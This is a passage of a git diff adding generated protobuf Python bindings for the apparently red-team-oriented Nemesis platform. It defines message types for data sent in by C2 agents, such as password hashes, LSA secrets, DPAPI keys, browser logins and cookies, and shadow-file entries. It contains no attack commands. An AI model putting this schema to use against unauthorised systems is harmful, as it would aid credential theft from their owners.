\x01(\t\x12\x1f\n\x17originating_object_path\x18\x07 \x01(\t\x12\x1f\n\x17originating_object_size\x18\x08 \x01(\x04\x12\x12\n\nword_count\x18\t \x01(\x04\x12\x0f\n\x07summary\x18\x0b \x01(\t\x12\x44\n\x0fmodel_passwords\x18\x14 \x03(\x0b\x32+.server.FileDataPlaintext.PasswordCandidate\x12\x44\n\x0fregex_passwords\x18\x16 \x03(\x0b\x32+.server.FileDataPlaintext.PasswordCandidate\x12(\n\x0bnoseyparker\x18\x18 \x01(\x0b\x32\x13.server.NoseyParker\x1aR\n\x11PasswordCandidate\x12\x14\n\x0cleft_context\x18\x01 \x01(\t\x12\x10\n\x08password\x18\x02 \x01(\t\x12\x15\n\rright_context\x18\x03 \x01(\t\"g\n\x18\x46ileDataPlaintextMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12\'\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x19.server.FileDataPlaintext\"\x95\x01\n\x12\x46ileDataSourcecode\x12\x11\n\tobject_id\x18\x01 \x01(\t\x12\x1d\n\x15originating_object_id\x18\x02 \x01(\t\x12\x0c\n\x04path\x18\x03 \x01(\t\x12\x0c\n\x04name\x18\x04 \x01(\t\x12\x11\n\textension\x18\x05 \x01(\t\x12\x10\n\x08language\x18\x07 \x01(\t\x12\x0c\n\x04size\x18\t \x01(\x04\"i\n\x19\x46ileDataSourcecodeMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12(\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x1a.server.FileDataSourcecode\"\xdb\x01\n\x07Process\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x14\n\x0c\x63ommand_line\x18\x02 \x01(\t\x12\x11\n\tfile_name\x18\x03 \x01(\t\x12\x12\n\nprocess_id\x18\x05 \x01(\r\x12\x19\n\x11parent_process_id\x18\x07 \x01(\r\x12\x0c\n\x04\x61rch\x18\x08 \x01(\t\x12.\n\nstart_time\x18\n \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x0e\n\x06memory\x18\x0b \x01(\x04\x12\x1c\n\x05token\x18\x0c \x01(\x0b\x32\r.server.Token\"S\n\x0eProcessMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12\x1d\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x0f.server.Process\"E\n\x17NetworkAddressIngestion\x12\x0f\n\x07\x61\x64\x64ress\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x0b\n\x03nic\x18\x03 \x01(\t\"s\n\x1eNetworkAddressIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12-\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x1f.server.NetworkAddressIngestion\"g\n\x12RouteDataIngestion\x12\x13\n\x0b\x64\x65stination\x18\x01 \x01(\t\x12\x0f\n\x07gateway\x18\x02 \x01(\t\x12\x0c\n\x04mask\x18\x03 \x01(\t\x12\x0b\n\x03nic\x18\x04 \x01(\t\x12\x10\n\x08protocol\x18\x05 \x01(\t\"i\n\x19RouteDataIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12(\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x1a.server.RouteDataIngestion\"7\n\x08UserTime\x12\x0c\n\x04user\x18\x01 \x01(\t\x12\x0f\n\x07session\x18\x02 \x01(\r\x12\x0c\n\x04time\x18\x03 \x01(\x04\"\x80\x01\n\x11TimeDataIngestion\x12+\n\x07\x63urrent\x18\x01 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x0f\n\x07runtime\x18\x02 \x01(\x04\x12\x1f\n\x05users\x18\x03 \x03(\x0b\x32\x10.server.UserTime\x12\x0c\n\x04zone\x18\x04 \x01(\t\"g\n\x18TimeDataIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12\'\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x19.server.TimeDataIngestion*\xb5\x02\n\x11VerificationFlags\x12\x06\n\x02OK\x10\x00\x12\x12\n\x0eINVALID_SIGNER\x10\x01\x12\x19\n\x15UNSUPPORTED_ALGORITHM\x10\x02\x12!\n\x1dINCONSISTENT_DIGEST_ALGORITHM\x10\x04\x12\x12\n\x0e\x43\x45RT_NOT_FOUND\x10\x08\x12\x1a\n\x16\x43ORRUPTED_CONTENT_INFO\x10\x10\x12\x17\n\x13\x43ORRUPTED_AUTH_DATA\x10 \x12 \n\x1cMISSING_PKCS9_MESSAGE_DIGEST\x10@\x12\x0f\n\nBAD_DIGEST\x10\x80\x01\x12\x11\n\x0cNO_SIGNATURE\x10\x80\x04\x12\x12\n\rBAD_SIGNATURE\x10\x80\x02\x12\x11\n\x0c\x43\x45RT_EXPIRED\x10\x80\x08\x12\x10\n\x0b\x43\x45RT_FUTURE\x10\x80\x10\x42%Z#pkg.specterops.io/nemesis/nemesispbb\x06proto3')
+
+_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
+_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'nemesis_pb2', globals())
+if _descriptor._USE_C_DESCRIPTORS == False:
+
+ DESCRIPTOR._options = None
+ DESCRIPTOR._serialized_options = b'Z#pkg.specterops.io/nemesis/nemesispb'
+ _VERIFICATIONFLAGS._serialized_start=23072
+ _VERIFICATIONFLAGS._serialized_end=23381
+ _ERROR._serialized_start=58
+ _ERROR._serialized_end=80
+ _ALERT._serialized_start=82
+ _ALERT._serialized_end=146
+ _METADATA._serialized_start=149
+ _METADATA._serialized_end=383
+ _METADATAHEADER._serialized_start=385
+ _METADATAHEADER._serialized_end=437
+ _AUTHENTICATIONDATAINGESTION._serialized_start=440
+ _AUTHENTICATIONDATAINGESTION._serialized_end=591
+ _AUTHENTICATIONDATAINGESTIONMESSAGE._serialized_start=593
+ _AUTHENTICATIONDATAINGESTIONMESSAGE._serialized_end=716
+ _FILEDATAINGESTION._serialized_start=718
+ _FILEDATAINGESTION._serialized_end=815
+ _FILEDATAINGESTIONMESSAGE._serialized_start=817
+ _FILEDATAINGESTIONMESSAGE._serialized_end=920
+ _FILEINFORMATIONINGESTION._serialized_start=923
+ _FILEINFORMATIONINGESTION._serialized_end=1245
+ _FILEINFORMATIONINGESTIONMESSAGE._serialized_start=1247
+ _FILEINFORMATIONINGESTIONMESSAGE._serialized_end=1364
+ _PRINCIPAL._serialized_start=1366
+ _PRINCIPAL._serialized_end=1404
+ _TOKEN._serialized_start=1407
+ _TOKEN._serialized_end=2007
+ _TOKEN_TOKENPRIVILEGE._serialized_start=1653
+ _TOKEN_TOKENPRIVILEGE._serialized_end=1710
+ _TOKEN_TOKENTYPE._serialized_start=1712
+ _TOKEN_TOKENTYPE._serialized_end=1802
+ _TOKEN_IMPERSONATIONLEVEL._serialized_start=1805
+ _TOKEN_IMPERSONATIONLEVEL._serialized_end=2007
+ _PROCESSINGESTION._serialized_start=2010
+ _PROCESSINGESTION._serialized_end=2238
+ _PROCESSINGESTIONMESSAGE._serialized_start=2240
+ _PROCESSINGESTIONMESSAGE._serialized_end=2341
+ _RAWDATAINGESTION._serialized_start=2343
+ _RAWDATAINGESTION._serialized_end=2406
+ _RAWDATAINGESTIONMESSAGE._serialized_start=2408
+ _RAWDATAINGESTIONMESSAGE._serialized_end=2509
+ _REGISTRYVALUEINGESTION._serialized_start=2512
+ _REGISTRYVALUEINGESTION._serialized_end=2915
+ _REGISTRYVALUEINGESTION_REGISTRYVALUEKIND._serialized_start=2710
+ _REGISTRYVALUEINGESTION_REGISTRYVALUEKIND._serialized_end=2857
+ _REGISTRYVALUEINGESTIONMESSAGE._serialized_start=2917
+ _REGISTRYVALUEINGESTIONMESSAGE._serialized_end=3030
+ _PATHLISTINGESTION._serialized_start=3032
+ _PATHLISTINGESTION._serialized_end=3080
+ _PATHLISTINGESTIONMESSAGE._serialized_start=3082
+ _PATHLISTINGESTIONMESSAGE._serialized_end=3185
+ _SERVICEINGESTION._serialized_start=3188
+ _SERVICEINGESTION._serialized_end=3400
+ _SERVICEINGESTIONMESSAGE._serialized_start=3402
+ _SERVICEINGESTIONMESSAGE._serialized_end=3503
+ _NAMEDPIPEINGESTION._serialized_start=3506
+ _NAMEDPIPEINGESTION._serialized_end=3639
+ _NAMEDPIPEINGESTIONMESSAGE._serialized_start=3641
+ _NAMEDPIPEINGESTIONMESSAGE._serialized_end=3746
+ _COOKIEINGESTION._serialized_start=3749
+ _COOKIEINGESTION._serialized_end=4153
+ _COOKIEINGESTIONMESSAGE._serialized_start=4155
+ _COOKIEINGESTIONMESSAGE._serialized_end=4254
+ _NETWORKCONNECTIONINGESTION._serialized_start=4257
+ _NETWORKCONNECTIONINGESTION._serialized_end=4424
+ _NETWORKCONNECTIONINGESTIONMESSAGE._serialized_start=4426
+ _NETWORKCONNECTIONINGESTIONMESSAGE._serialized_end=4547
+ _SLACKWORKSPACES._serialized_start=4550
+ _SLACKWORKSPACES._serialized_end=4764
+ _SLACKWORKSPACES_SLACKWORKSPACE._serialized_start=4630
+ _SLACKWORKSPACES_SLACKWORKSPACE._serialized_end=4764
+ _SLACKDOWNLOADS._serialized_start=4767
+ _SLACKDOWNLOADS._serialized_end=5107
+ _SLACKDOWNLOADS_SLACKDOWNLOAD._serialized_start=4843
+ _SLACKDOWNLOADS_SLACKDOWNLOAD._serialized_end=5107
+ _LNK._serialized_start=5110
+ _LNK._serialized_end=5454
+ _PASSWD._serialized_start=5457
+ _PASSWD._serialized_end=5617
+ _PASSWD_PASSWDENTRY._serialized_start=5512
+ _PASSWD_PASSWDENTRY._serialized_end=5617
+ _SHADOW._serialized_start=5620
+ _SHADOW._serialized_end=5783
+ _SHADOW_SHADOWENTRY._serialized_start=5675
+ _SHADOW_SHADOWENTRY._serialized_end=5783
+ _OFFICEDOCOLE._serialized_start=5786
+ _OFFICEDOCOLE._serialized_end=6187
+ _OFFICEDOCNEW._serialized_start=6190
+ _OFFICEDOCNEW._serialized_end=6499
+ _PDF._serialized_start=6502
+ _PDF._serialized_end=6790
+ _GROUPPOLICYPREFERENCES._serialized_start=6793
+ _GROUPPOLICYPREFERENCES._serialized_end=7121
+ _GROUPPOLICYPREFERENCES_GROUPPOLICYPREFERENCESENTRY._serialized_start=6897
+ _GROUPPOLICYPREFERENCES_GROUPPOLICYPREFERENCESENTRY._serialized_end=7121
+ _MCAFEESITELIST._serialized_start=7124
+ _MCAFEESITELIST._serialized_end=7481
+ _MCAFEESITELIST_MCAFEESITELISTENTRY._serialized_start=7204
+ _MCAFEESITELIST_MCAFEESITELISTENTRY._serialized_end=7481
+ _TOMCAT._serialized_start=7484
+ _TOMCAT._serialized_end=7618
+ _TOMCAT_TOMCATENTRY._serialized_start=7554
+ _TOMCAT_TOMCATENTRY._serialized_end=7618
+ _JWTTOKEN._serialized_start=7620
+ _JWTTOKEN._serialized_end=7708
+ _DATABASECREDENTIAL._serialized_start=7710
+ _DATABASECREDENTIAL._serialized_end=7814
+ _CONNECTIONSTRING._serialized_start=7817
+ _CONNECTIONSTRING._serialized_end=7956
+ _WEBCONFIG._serialized_start=7958
+ _WEBCONFIG._serialized_end=8023
+ _APPSETTINGS._serialized_start=8025
+ _APPSETTINGS._serialized_end=8130
+ _SIGNATURE._serialized_start=8132
+ _SIGNATURE._serialized_end=8232
+ _HEADER._serialized_start=8235
+ _HEADER._serialized_end=8560
+ _SYMBOL._serialized_start=8562
+ _SYMBOL._serialized_end=8622
+ _EXPORTS._serialized_start=8624
+ _EXPORTS._serialized_end=8666
+ _DLL._serialized_start=8668
+ _DLL._serialized_end=8720
+ _IMPORTS._serialized_start=8722
+ _IMPORTS._serialized_end=8758
+ _VERSIONINFO._serialized_start=8761
+ _VERSIONINFO._serialized_end=9082
+ _PE._serialized_start=9085
+ _PE._serialized_end=9297
+ _RESOURCE._serialized_start=9299
+ _RESOURCE._serialized_end=9366
+ _TYPEREF._serialized_start=9368
+ _TYPEREF._serialized_end=9421
+ _IMPLMAPENTRY._serialized_start=9423
+ _IMPLMAPENTRY._serialized_end=9481
+ _DOTNETASSEMBLY._serialized_start=9484
+ _DOTNETASSEMBLY._serialized_end=9872
+ _ARCHIVE._serialized_start=9875
+ _ARCHIVE._serialized_end=10190
+ _ARCHIVE_ARCHIVEENTRY._serialized_start=10027
+ _ARCHIVE_ARCHIVEENTRY._serialized_end=10170
+ _REGHIVESYSTEM._serialized_start=10192
+ _REGHIVESYSTEM._serialized_end=10225
+ _DOMAINCACHEDCREDENTIAL._serialized_start=10228
+ _DOMAINCACHEDCREDENTIAL._serialized_end=10446
+ _LSASECRET._serialized_start=10448
+ _LSASECRET._serialized_end=10556
+ _REGHIVESECURITY._serialized_start=10559
+ _REGHIVESECURITY._serialized_end=10832
+ _SAMHASH._serialized_start=10835
+ _SAMHASH._serialized_end=11016
+ _REGHIVESAM._serialized_start=11018
+ _REGHIVESAM._serialized_end=11131
+ _RAWPARSEDDATA._serialized_start=11133
+ _RAWPARSEDDATA._serialized_end=11162
+ _DPAPICREDENTIALATTRIBUTE._serialized_start=11164
+ _DPAPICREDENTIALATTRIBUTE._serialized_end=11236
+ _DPAPICREDENTIALFILE._serialized_start=11239
+ _DPAPICREDENTIALFILE._serialized_end=12385
+ _DPAPICREDENTIALFILE_CREDENTIAL_FLAGS._serialized_start=11678
+ _DPAPICREDENTIALFILE_CREDENTIAL_FLAGS._serialized_end=11967
+ _DPAPICREDENTIALFILE_CREDENTIAL_PERSIST._serialized_start=11970
+ _DPAPICREDENTIALFILE_CREDENTIAL_PERSIST._serialized_end=12100
+ _DPAPICREDENTIALFILE_CREDENTIAL_TYPE._serialized_start=12103
+ _DPAPICREDENTIALFILE_CREDENTIAL_TYPE._serialized_end=12385
+ _CHROMIUMHISTORYFILE._serialized_start=12388
+ _CHROMIUMHISTORYFILE._serialized_end=12518
+ _CHROMIUMLOGINSFILE._serialized_start=12520
+ _CHROMIUMLOGINSFILE._serialized_end=12626
+ _CHROMIUMCOOKIESFILE._serialized_start=12628
+ _CHROMIUMCOOKIESFILE._serialized_end=12736
+ _CHROMIUMSTATEFILE._serialized_start=12739
+ _CHROMIUMSTATEFILE._serialized_end=13090
+ _EVTXFILE._serialized_start=13092
+ _EVTXFILE._serialized_end=13180
+ _PARSEDDATA._serialized_start=13183
+ _PARSEDDATA._serialized_end=14526
+ _DOTNETANALYSIS._serialized_start=14529
+ _DOTNETANALYSIS._serialized_end=15086
+ _DOTNETANALYSIS_GADGETCALL._serialized_start=15010
+ _DOTNETANALYSIS_GADGETCALL._serialized_end=15086
+ _ANALYSIS._serialized_start=15088
+ _ANALYSIS._serialized_end=15166
+ _CHROMIUMHISTORYENTRY._serialized_start=15169
+ _CHROMIUMHISTORYENTRY._serialized_end=15409
+ _CHROMIUMHISTORYMESSAGE._serialized_start=15411
+ _CHROMIUMHISTORYMESSAGE._serialized_end=15515
+ _CHROMIUMDOWNLOAD._serialized_start=15518
+ _CHROMIUMDOWNLOAD._serialized_end=15803
+ _CHROMIUMDOWNLOADMESSAGE._serialized_start=15805
+ _CHROMIUMDOWNLOADMESSAGE._serialized_end=15906
+ _CHROMIUMLOGIN._serialized_start=15909
+ _CHROMIUMLOGIN._serialized_end=16394
+ _CHROMIUMLOGINMESSAGE._serialized_start=16396
+ _CHROMIUMLOGINMESSAGE._serialized_end=16491
+ _CHROMIUMCOOKIE._serialized_start=16494
+ _CHROMIUMCOOKIE._serialized_end=17072
+ _CHROMIUMCOOKIEMESSAGE._serialized_start=17074
+ _CHROMIUMCOOKIEMESSAGE._serialized_end=17171
+ _CHROMIUMSTATEFILEMESSAGE._serialized_start=17173
+ _CHROMIUMSTATEFILEMESSAGE._serialized_end=17276
+ _DPAPIDOMAINBACKUPKEY._serialized_start=17278
+ _DPAPIDOMAINBACKUPKEY._serialized_end=17390
+ _DPAPIDOMAINBACKUPKEYMESSAGE._serialized_start=17392
+ _DPAPIDOMAINBACKUPKEYMESSAGE._serialized_end=17501
+ _DPAPIMASTERKEY._serialized_start=17504
+ _DPAPIMASTERKEY._serialized_end=17776
+ _DPAPIMASTERKEYMESSAGE._serialized_start=17778
+ _DPAPIMASTERKEYMESSAGE._serialized_end=17875
+ _DPAPIBLOB._serialized_start=17878
+ _DPAPIBLOB._serialized_end=18143
+ _DPAPIBLOBMESSAGE._serialized_start=18145
+ _DPAPIBLOBMESSAGE._serialized_end=18232
+ _SERVICEENRICHED._serialized_start=18235
+ _SERVICEENRICHED._serialized_end=18370
+ _SERVICEENRICHEDMESSAGE._serialized_start=18372
+ _SERVICEENRICHEDMESSAGE._serialized_end=18471
+ _PROCESSCATEGORY._serialized_start=18473
+ _PROCESSCATEGORY._serialized_end=18550
+ _PROCESSENRICHED._serialized_start=18553
+ _PROCESSENRICHED._serialized_end=18713
+ _PROCESSENRICHEDMESSAGE._serialized_start=18715
+ _PROCESSENRICHEDMESSAGE._serialized_end=18814
+ _NOSEYPARKER._serialized_start=18817
+ _NOSEYPARKER._serialized_end=19712
+ _NOSEYPARKER_OFFSET_SPAN._serialized_start=18908
+ _NOSEYPARKER_OFFSET_SPAN._serialized_end=18949
+ _NOSEYPARKER_START._serialized_start=18951
+ _NOSEYPARKER_START._serialized_end=18988
+ _NOSEYPARKER_END._serialized_start=18990
+ _NOSEYPARKER_END._serialized_end=19025
+ _NOSEYPARKER_SOURCE_SPAN._serialized_start=19027
+ _NOSEYPARKER_SOURCE_SPAN._serialized_end=19120
+ _NOSEYPARKER_LOCATION._serialized_start=19122
+ _NOSEYPARKER_LOCATION._serialized_end=19240
+ _NOSEYPARKER_SNIPPET._serialized_start=19242
+ _NOSEYPARKER_SNIPPET._serialized_end=19300
+ _NOSEYPARKER_PROVENANCE._serialized_start=19302
+ _NOSEYPARKER_PROVENANCE._serialized_end=19342
+ _NOSEYPARKER_MATCHES._serialized_start=19345
+ _NOSEYPARKER_MATCHES._serialized_end=19588
+ _NOSEYPARKER_RULEMATCHES._serialized_start=19590
+ _NOSEYPARKER_RULEMATCHES._serialized_end=19712
+ _CANARIES._serialized_start=19714
+ _CANARIES._serialized_end=19831
+ _CANARIES_CANARY._serialized_start=19795
+ _CANARIES_CANARY._serialized_end=19831
+ _FILEHASHES._serialized_start=19833
+ _FILEHASHES._serialized_end=19888
+ _FILEDATAENRICHED._serialized_start=19891
+ _FILEDATAENRICHED._serialized_end=20556
+ _FILEDATAENRICHEDMESSAGE._serialized_start=20558
+ _FILEDATAENRICHEDMESSAGE._serialized_end=20659
+ _EXTRACTEDHASH._serialized_start=20662
+ _EXTRACTEDHASH._serialized_end=21067
+ _EXTRACTEDHASHMESSAGE._serialized_start=21069
+ _EXTRACTEDHASHMESSAGE._serialized_end=21164
+ _FILEDATAPLAINTEXT._serialized_start=21167
+ _FILEDATAPLAINTEXT._serialized_end=21705
+ _FILEDATAPLAINTEXT_PASSWORDCANDIDATE._serialized_start=21623
+ _FILEDATAPLAINTEXT_PASSWORDCANDIDATE._serialized_end=21705
+ _FILEDATAPLAINTEXTMESSAGE._serialized_start=21707
+ _FILEDATAPLAINTEXTMESSAGE._serialized_end=21810
+ _FILEDATASOURCECODE._serialized_start=21813
+ _FILEDATASOURCECODE._serialized_end=21962
+ _FILEDATASOURCECODEMESSAGE._serialized_start=21964
+ _FILEDATASOURCECODEMESSAGE._serialized_end=22069
+ _PROCESS._serialized_start=22072
+ _PROCESS._serialized_end=22291
+ _PROCESSMESSAGE._serialized_start=22293
+ _PROCESSMESSAGE._serialized_end=22376
+ _NETWORKADDRESSINGESTION._serialized_start=22378
+ _NETWORKADDRESSINGESTION._serialized_end=22447
+ _NETWORKADDRESSINGESTIONMESSAGE._serialized_start=22449
+ _NETWORKADDRESSINGESTIONMESSAGE._serialized_end=22564
+ _ROUTEDATAINGESTION._serialized_start=22566
+ _ROUTEDATAINGESTION._serialized_end=22669
+ _ROUTEDATAINGESTIONMESSAGE._serialized_start=22671
+ _ROUTEDATAINGESTIONMESSAGE._serialized_end=22776
+ _USERTIME._serialized_start=22778
+ _USERTIME._serialized_end=22833
+ _TIMEDATAINGESTION._serialized_start=22836
+ _TIMEDATAINGESTION._serialized_end=22964
+ _TIMEDATAINGESTIONMESSAGE._serialized_start=22966
+ _TIMEDATAINGESTIONMESSAGE._serialized_end=23069
+# @@protoc_insertion_point(module_scope)
diff --git a/packages/python/nemesispb/nemesispb/nemesis_pb2.pyi b/packages/python/nemesispb/nemesispb/nemesis_pb2.pyi
new file mode 100644
index 0000000..e3e14e2
--- /dev/null
+++ b/packages/python/nemesispb/nemesispb/nemesis_pb2.pyi
@@ -0,0 +1,4574 @@
+"""
+@generated by mypy-protobuf. Do not edit manually!
+isort:skip_file
+"""
+import builtins
+import collections.abc
+import google.protobuf.descriptor
+import google.protobuf.internal.containers
+import google.protobuf.internal.enum_type_wrapper
+import google.protobuf.message
+import google.protobuf.timestamp_pb2
+import sys
+import typing
+
+if sys.version_info >= (3, 10):
+ import typing as typing_extensions
+else:
+ import typing_extensions
+
+DESCRIPTOR: google.protobuf.descriptor.FileDescriptor
+
+class _VerificationFlags:
+ ValueType = typing.NewType("ValueType", builtins.int)
+ V: typing_extensions.TypeAlias = ValueType
+
+class _VerificationFlagsEnumTypeWrapper(google.protobuf.internal.enum_type_wrapper._EnumTypeWrapper[_VerificationFlags.ValueType], builtins.type):
+ DESCRIPTOR: google.protobuf.descriptor.EnumDescriptor
+ OK: _VerificationFlags.ValueType # 0
+ INVALID_SIGNER: _VerificationFlags.ValueType # 1
+ UNSUPPORTED_ALGORITHM: _VerificationFlags.ValueType # 2
+ INCONSISTENT_DIGEST_ALGORITHM: _VerificationFlags.ValueType # 4
+ CERT_NOT_FOUND: _VerificationFlags.ValueType # 8
+ CORRUPTED_CONTENT_INFO: _VerificationFlags.ValueType # 16
+ CORRUPTED_AUTH_DATA: _VerificationFlags.ValueType # 32
+ MISSING_PKCS9_MESSAGE_DIGEST: _VerificationFlags.ValueType # 64
+ BAD_DIGEST: _VerificationFlags.ValueType # 128
+ NO_SIGNATURE: _VerificationFlags.ValueType # 512
+ BAD_SIGNATURE: _VerificationFlags.ValueType # 256
+ CERT_EXPIRED: _VerificationFlags.ValueType # 1024
+ CERT_FUTURE: _VerificationFlags.ValueType # 2048
+
+class VerificationFlags(_VerificationFlags, metaclass=_VerificationFlagsEnumTypeWrapper):
+ """Used in Pe - TODO: combine into one block?"""
+
+OK: VerificationFlags.ValueType # 0
+INVALID_SIGNER: VerificationFlags.ValueType # 1
+UNSUPPORTED_ALGORITHM: VerificationFlags.ValueType # 2
+INCONSISTENT_DIGEST_ALGORITHM: VerificationFlags.ValueType # 4
+CERT_NOT_FOUND: VerificationFlags.ValueType # 8
+CORRUPTED_CONTENT_INFO: VerificationFlags.ValueType # 16
+CORRUPTED_AUTH_DATA: VerificationFlags.ValueType # 32
+MISSING_PKCS9_MESSAGE_DIGEST: VerificationFlags.ValueType # 64
+BAD_DIGEST: VerificationFlags.ValueType # 128
+NO_SIGNATURE: VerificationFlags.ValueType # 512
+BAD_SIGNATURE: VerificationFlags.ValueType # 256
+CERT_EXPIRED: VerificationFlags.ValueType # 1024
+CERT_FUTURE: VerificationFlags.ValueType # 2048
+global___VerificationFlags = VerificationFlags
+
+@typing_extensions.final
+class Error(google.protobuf.message.Message):
+ """//////////////////////////////////////////////////
+
+ General messages
+
+ //////////////////////////////////////////////////
+
+ Generic Error message
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ERROR_FIELD_NUMBER: builtins.int
+ error: builtins.str
+ def __init__(
+ self,
+ *,
+ error: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["error", b"error"]) -> None: ...
+
+global___Error = Error
+
+@typing_extensions.final
+class Alert(google.protobuf.message.Message):
+ """Used by containers to signal the "alerting" container"""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ TYPE_FIELD_NUMBER: builtins.int
+ TEXT_FIELD_NUMBER: builtins.int
+ ORIGINATING_SERVICE_FIELD_NUMBER: builtins.int
+ type: builtins.str
+ """Currently just "slack" """
+ text: builtins.str
+ """Text to send for the alert"""
+ originating_service: builtins.str
+ """The service the message originated from (optional)"""
+ def __init__(
+ self,
+ *,
+ type: builtins.str = ...,
+ text: builtins.str = ...,
+ originating_service: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["originating_service", b"originating_service", "text", b"text", "type", b"type"]) -> None: ...
+
+global___Alert = Alert
+
+@typing_extensions.final
+class Metadata(google.protobuf.message.Message):
+ """//////////////////////////////////////////////////
+
+ Nemesis API Ingestion Messages
+
+ //////////////////////////////////////////////////
+
+ Metadata header that's send with every message to the API
+ ODR: defined in README.md
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ AGENT_ID_FIELD_NUMBER: builtins.int
+ AGENT_TYPE_FIELD_NUMBER: builtins.int
+ AUTOMATED_FIELD_NUMBER: builtins.int
+ DATA_TYPE_FIELD_NUMBER: builtins.int
+ SOURCE_FIELD_NUMBER: builtins.int
+ PROJECT_FIELD_NUMBER: builtins.int
+ TIMESTAMP_FIELD_NUMBER: builtins.int
+ EXPIRATION_FIELD_NUMBER: builtins.int
+ MESSAGE_ID_FIELD_NUMBER: builtins.int
+ agent_id: builtins.str
+ """Name or unique identifier for an agent"""
+ agent_type: builtins.str
+ """Name of the type of agent (ex. beacon)"""
+ automated: builtins.bool
+ """If the submission was automatically or manually sent"""
+ data_type: builtins.str
+ """Name of the ODR the body must conform to"""
+ source: builtins.str
+ """The semi-unique source for the data
+ For host-related data_types, this is the hostname
+ For network-related data_types, this is the network name
+ For AD-related data_types, this is the full qualified domain name
+ """
+ project: builtins.str
+ """Name or unique identifier for a project"""
+ @property
+ def timestamp(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """Time the C2 platform sent the data to the ODS"""
+ @property
+ def expiration(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """Time the data should be removed from the ODS"""
+ message_id: builtins.str
+ """Name or unique identifier for a message"""
+ def __init__(
+ self,
+ *,
+ agent_id: builtins.str = ...,
+ agent_type: builtins.str = ...,
+ automated: builtins.bool = ...,
+ data_type: builtins.str = ...,
+ source: builtins.str = ...,
+ project: builtins.str = ...,
+ timestamp: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ expiration: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ message_id: builtins.str = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["expiration", b"expiration", "timestamp", b"timestamp"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["agent_id", b"agent_id", "agent_type", b"agent_type", "automated", b"automated", "data_type", b"data_type", "expiration", b"expiration", "message_id", b"message_id", "project", b"project", "source", b"source", "timestamp", b"timestamp"]) -> None: ...
+
+global___Metadata = Metadata
+
+@typing_extensions.final
+class MetadataHeader(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> None: ...
+
+global___MetadataHeader = MetadataHeader
+
+@typing_extensions.final
+class AuthenticationDataIngestion(google.protobuf.message.Message):
+ """Data that may be used to authenticate to a resource. The resource does not
+ need to be accessible over a network and a local resource may be specified
+ using the file:// scheme in the URI parameter. The type data may be anything
+ that may be used to authenticate such as a password, certificate, JWT, SAML
+ token, TGT, NTLM hash, private key, etc. The authentication data does not
+ need to be additionally encoded because all ODR string parameters already
+ support hex encoding values.
+ ODR: `authentication_data`, defined in docs/odr/references/authentication_data.md
+ See authentication_data.md for supported "type" values.
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ DATA_FIELD_NUMBER: builtins.int
+ TYPE_FIELD_NUMBER: builtins.int
+ IS_FILE_FIELD_NUMBER: builtins.int
+ URI_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ NOTES_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ data: builtins.str
+ """Case sensitive data or a Nemesis UUID reference (if over 1k)"""
+ type: builtins.str
+ """type of the authentication data"""
+ is_file: builtins.bool
+ """Boolean for if data is a reference to a binary submission"""
+ uri: builtins.str
+ """Location of where the data is valid"""
+ username: builtins.str
+ """Simple or FQDN username"""
+ notes: builtins.str
+ """any additional notes/context"""
+ originating_object_id: builtins.str
+ """the Nemesis UUID referencing the original file the hash was extracted from (if applicable)"""
+ def __init__(
+ self,
+ *,
+ data: builtins.str = ...,
+ type: builtins.str = ...,
+ is_file: builtins.bool = ...,
+ uri: builtins.str = ...,
+ username: builtins.str = ...,
+ notes: builtins.str = ...,
+ originating_object_id: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "is_file", b"is_file", "notes", b"notes", "originating_object_id", b"originating_object_id", "type", b"type", "uri", b"uri", "username", b"username"]) -> None: ...
+
+global___AuthenticationDataIngestion = AuthenticationDataIngestion
+
+@typing_extensions.final
+class AuthenticationDataIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
